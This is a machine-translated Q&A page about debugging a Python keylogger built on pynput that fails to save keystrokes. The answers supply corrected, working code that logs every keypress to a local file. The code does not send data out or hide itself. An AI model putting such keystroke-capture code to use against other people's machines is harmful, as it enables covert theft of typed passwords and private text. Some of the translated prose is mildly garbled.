python键盘记录器不会将击键保存到文件

h6my8fg2  于 2021-09-08  发布在  Java
关注(0)|答案(3)|浏览(224)

程序运行正常,但不会将我的击键保存到 keylogger.txt ```
from pynput.keyboard import Key, Listener

keys = []
count = 0

def key_pressed(key):
global keys, count
keys.append(key)
count += 1
print(key)

def write_to_file(keys):
with open("keylogger.txt", "a") as f:
for key in keys:
f.write(str(keys))
if count == 1:
count = 0
write_to_file(keys)
keys = []

with Listener(on_press=key_pressed) as listener:
listener.join()

我的代码中的问题在哪里?
xwmevbvl

xwmevbvl1#

你的 write_to_file 代码从不运行。您可以更改 count 但您不会再次运行write_to_文件。放 write_to_file 打电话进来 key_pressed 阻塞,它就会发生。

jv2fixgn

jv2fixgn2#

我不完全确定代码中是否存在“缓冲”,但我会这样做:

from pynput.keyboard import Key, Listener

def key_pressed(key):
    print(key)
    with open("keylogger.txt", "a") as f:
        f.write(str(key) + "\n")

with Listener(on_press=key_pressed) as listener:
    listener.join()

代码中的if语句只执行一次,因此永远不会调用write_to_file函数。

ldioqlga

ldioqlga3#

问题是这部分代码。

if count == 1:
    count = 0
    write_to_file(keys)
    keys = []

代码中的这个块永远不会运行。
如果您想使用相同的代码格式,请使用此选项。但下面附有一个更简单的方法

from pynput.keyboard import Key, Listener
keys = []
count = 0
def key_pressed(key):
    global keys, count
    keys.append(key)
    count += 1
    print(key)
    if count == 1:
        count = 0
        write_to_file(keys)
        keys = []

def write_to_file(keys):
    with open("keylogger.txt", "a") as f:
        for key in keys:
            f.write(str(keys))

with Listener(on_press=key_pressed) as listener:
    listener.join()

另一个相同的实现

from pynput.keyboard import Key, Listener

def key_pressed(key):
    # Stop listener
    if key == Key.esc:
        return False
    with open("keylogger.txt", "a") as f:
        f.write(str(key))

with Listener(on_release=key_pressed) as listener:
    listener.join()

相关问题